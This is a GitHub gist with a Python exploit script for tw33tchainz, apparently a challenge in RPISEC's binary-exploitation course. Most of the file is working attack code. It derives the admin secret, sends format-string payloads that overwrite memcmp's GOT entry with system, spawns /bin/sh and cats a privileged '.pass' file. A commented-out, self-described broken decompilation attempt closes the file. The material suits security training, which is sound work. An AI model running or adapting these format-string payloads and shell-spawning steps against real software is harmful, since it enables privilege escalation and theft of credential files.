Skip to content

Instantly share code, notes, and snippets.

@not-inept
Created March 30, 2015 22:58
Show Gist options
  • Save not-inept/db88d5524c1136fca01e to your computer and use it in GitHub Desktop.
Save not-inept/db88d5524c1136fca01e to your computer and use it in GitHub Desktop.
An automated exploit for RPISEC's tw33tchainz challenge.
#!/usr/bin/env python
import subprocess
import binascii
import sys
###############################################################################
## Contents: ##################################################################
###############################################################################
## endianFlip(a) : converts userpass from printed representation
## to how it actually is
##
## secretGen(name, salt, pass) : derives the secret from the name/salt/pass
##
## readuntil(fd, needle) : moves stdout for tw33tchainz forward,
## provided with the original file
##
## chainz(name, salt, location) : object for creating and interacting with the
## tw33tchainz program and all its quirks
###############################################################################
def endianFlip(a):
b = ''
for i in range(4):
b += ''.join(a[i*4:(i*4)+4][::-1])
return b
# Provided function to read the file descriptor until it finds a string
def readuntil(fd, needle):
data = ""
while needle not in data:
data += fd.read(1)
return data
def secretGen(uname, usalt, upass):
secret = ''
print 'Generating Secret...'
for i in range(16):
secret += chr(((ord(upass[i]) ^ ord(uname[i])) - ord(usalt[i])) % 256)
return secret
class chainz:
# self.
##### VARIABLES
## n = name entered
## s = salt entered
## sp = subprocess created
## pw = password generated (text)
## pw_hex = hex bytes of password generated
## secret = secret password for session
## secret_hex = hex bytes for secret password
##### FUNCTIONS
## __init__ = creates and gets to menu
## tweet = tw33ts and gets to menu
## getAdmin = uses gathered info to build admin password and enter 3
## sh3ll = gets sh3ll, assuming admin has been obtained and overwrite completed
## viewChainz = used for my debugging purposes, displays tw33ts tw33ted
## quit = ensures death of subprocess (and all birds in vicinity)
def __init__(self, uname, usalt, loc):
# run the project
self.n = uname
self.s = usalt
self.sp = subprocess.Popen(loc, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
# read stdin until username prompt
readuntil(self.sp.stdout, 'Username: \n')
# send in username & salt
self.sp.stdin.write(uname + usalt + '\n')
# read stdin until we get the generated password
readuntil(self.sp.stdout, 'Generated Password:\n')
# extract the generated password from stdout
pw = readuntil(self.sp.stdout, '\n')[:-1]
self.pw = pw
self.pw_hex = endianFlip(binascii.unhexlify(pw))
# generate the secret pass
self.secret_hex = secretGen(uname, usalt, self.pw_hex)
self.secret = binascii.hexlify(self.secret_hex)
# get us back to menu
self.sp.stdin.write("\n")
# write a newline to get us to the menu
readuntil(self.sp.stdout, "Enter Choice: ")
def getAdmin(self):
print 'Getting admin...'
self.sp.stdin.write("3\n")
readuntil(self.sp.stdout, "Enter password: ")
assert(len(self.secret_hex) == 16)
self.sp.stdin.write(self.secret_hex)
# extract response
resp = readuntil(self.sp.stdout, "\n")[:-1]
print 'Response: ' + resp
self.sp.stdin.write('\n')
readuntil(self.sp.stdout, "Enter Choice: ")
def sh3ll(self):
print 'Getting shell...'
self.sp.stdin.write("3\n")
shell = "/bin/sh"
readuntil(self.sp.stdout, "Enter password: ")
self.sp.stdin.write(shell+'\n')
# self.sp.stdin.write('\n')
self.sp.stdin.write('cat /home/project1_priv/.pass\n')
# self.sp.stdin.write('\n')
# extract response
resp = readuntil(self.sp.stdout, "\n")[:-1]
print 'Password: ' + resp
def tweet(self, text):
# now you are at the menu and should understand
# how to easily r/w with the level
print 'Printing tweet "' + text + '"'
self.sp.stdin.write("1\n")
# get through tweet stuff
readuntil(self.sp.stdout, '): ')
for i in range(16-len(text)):
text += '\x00'
assert(len(text) == 16)
# write tweet
self.sp.stdin.write(text + '\n')
# extract response
readuntil(self.sp.stdout, 'Enter Choice: ')
def viewChainz(self):
# calls view chainz, for no particular reason
print 'Viewing chainz...'
self.sp.stdin.write('2\n')
# write to move forward
self.sp.stdin.write('\n\n\n')
# revert to main menu
print readuntil(self.sp.stdout, 'Enter Choice: ')
def quit(self):
print 'Killing subprocess...'
# self.sp.stdin.write('5\n') # not needed if I just slaughter the process
self.sp.kill()
if __name__ == '__main__':
uname = '\x00'*16
usalt = '\x00'*16
if (len(sys.argv) != 2):
print "Usage:\t\t" + "python proj1.py [TW33TCHAINZ LOCATION]"
print "Example:\t" + "python proj1.py /levels/project1/tw33tchainz"
else:
locChainz = sys.argv[1]
print "Looking for tw33tchainz at: " + locChainz
c = chainz(uname, usalt, locChainz)
print 'Entered Username:\t' + '\\x00*16'
print 'Entered Salt: \t' + '\\x00*16'
print 'Real Password: \t' + c.pw
print 'Generated Secret:\t' + c.secret
# memcmp location: 0x0804c02c
# system location: 0x00181e10 (in my vm)
# system location: 0xb7e65190 (on warzone)
# exploit strategy:
## 1. Acquire admin
## 2. Overwrite memcmp with system
## 3. Call system with /bin/sh through maybe_admin memcmp
c.getAdmin()
# 1 (buffer) + 4 (addr) + 10-11 (fmt)
fmt = 'J\x2c\xc0\x04\x08%139x%8$hhn'
c.tweet(fmt)
fmt = 'U\x2d\xc0\x04\x08%76x%8$hhn'
c.tweet(fmt)
fmt = 'N\x2e\xc0\x04\x08%225x%8$hhn'
c.tweet(fmt)
fmt = 'K\x2f\xc0\x04\x08%178x%8$hhn'
c.tweet(fmt)
# print 'Preparing for bird beheading...'
# c.viewChainz() # bird should show, head not intact
c.sh3ll()
c.quit()
###############################################################################
# ############################
# Code I no longer use but was part of my process: ############################
# ############################
###############################################################################
#
# def passGen(uname, usalt, secret):
# # this func is probably broken
# password = ''
# for i in range(16):
# ############ PRE LOOP
# # var_4= dword ptr -4
# # arg_0= dword ptr 8
# # push ebp
# # mov ebp, esp
# # sub esp, 10h
# # mov [ebp+var_4], 0
# # mov [ebp+var_4], 0
# # jmp short loc_8048911
# ############ LOOP CHECK
# # cmp [ebp+var_4], 0Fh
# # jle short loc_80488DA
# ############ LOOP
# # mov edx, [ebp+var_4]
# edx = ord(secret[i])
# # mov eax, [ebp+arg_0]
# eax = ord(uname[i])
# # add edx, eax
# edx = edx + eax
# # mov eax, [ebp+var_4]
# eax = ord(usalt[i])
# # add eax, 804C0D0h
# eax = eax + int(0x0804C0D0)
# # movzx eax, byte ptr [eax]
# eax = ord(uname[i])
# # mov ecx, eax
# ecx = eax
# # mov eax, [ebp+var_4]
# eax = ord(secret[i])
# # add eax, 804C0E0h
# eax = eax + int(0x0804C0D0)
# # movzx eax, byte ptr [eax]
# eax = ord(uname[i])
# # add eax, ecx
# eax = eax + ecx
# # mov ecx, eax
# ecx = eax
# # mov eax, [ebp+var_4]
# eax = ord(secret[i])
# # add eax, 804C0C0h
# # movzx eax, byte ptr [eax]
# #ecx = ord(ecx)
# #eax = ord(eax)
# # xor eax, ecx
# eax = (ecx ^ eax)
# # mov [edx], al
# # add [ebp+var_4], 1 ; counter incrementing
# password += hex(eax).strip('0x')
# # password =
# return password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment